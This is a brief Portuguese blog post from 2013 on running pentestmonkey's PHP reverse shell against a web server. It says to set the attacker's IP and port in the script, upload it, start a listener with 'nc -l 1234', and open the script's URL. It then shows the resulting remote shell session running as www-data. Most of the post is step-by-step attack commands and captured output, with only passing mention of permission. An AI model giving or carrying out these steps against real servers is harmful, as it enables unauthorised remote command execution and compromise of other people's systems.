sexta-feira, 8 de março de 2013

Shell reverso em Php

Shel reverso é uma técnica de invasão que permite acessar um shell remoto. No endereço http://pentestmonkey.net/tools/web-shells/php-reverse-shell há uma ferramenta escrita em Php que permite aplicar essa técnica em um servidor web.

Se você possui permissão para gravar arquivos no servidor web, você pode fazer o download do script no site acima e testar a invasão.

Antes de enviar o script php para o site, altere as seguintes linhas:

$ip = '172.20.120.4';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

$ip é o endereço da tua estação de trabalho. Quando você acessara  página pelo seu navegador, o script vai abrir uma conexão com esse ip. 

$port é a porta que o script vai se conectar na tua estação.

Faça o upload do arquivo. Após abra um terminal texto e execute:

$ nc -l 1234

Agora, acesse o script instalado no site. Por exemplo, http://servidor/php-reverse-shell.php

Em teu terminal irá aparecer shell reverso.

Linux fpawks0703 3.2.0-3-amd64 #1 SMP Mon Jul 23 04:46:29 UTC 2012 x86_64 GNU/Linux
 10:57:47 up 1 day,  2:14,  3 users,  load average: 1.04, 1.21, 1.28
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
ricardo  tty7     :0               Thu08   26:14m  3:55m  0.26s gnome-session
ricardo  pts/0    :0.0             Thu08   28:42   0.27s  0.11s ssh ricardoolon
ricardo  pts/1    :0.0             08:13   59.00s  0.15s  0.00s nc -l 1234
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

Repare que agora você está conectado ao servidor pelo usuário www-data em um shell, onde você pode executar os comandos como qualquer outro usuário.

Há um video demostrando o php-reverse-shell em http://www.youtube.com/watch?v=A0Ks4MfhVIE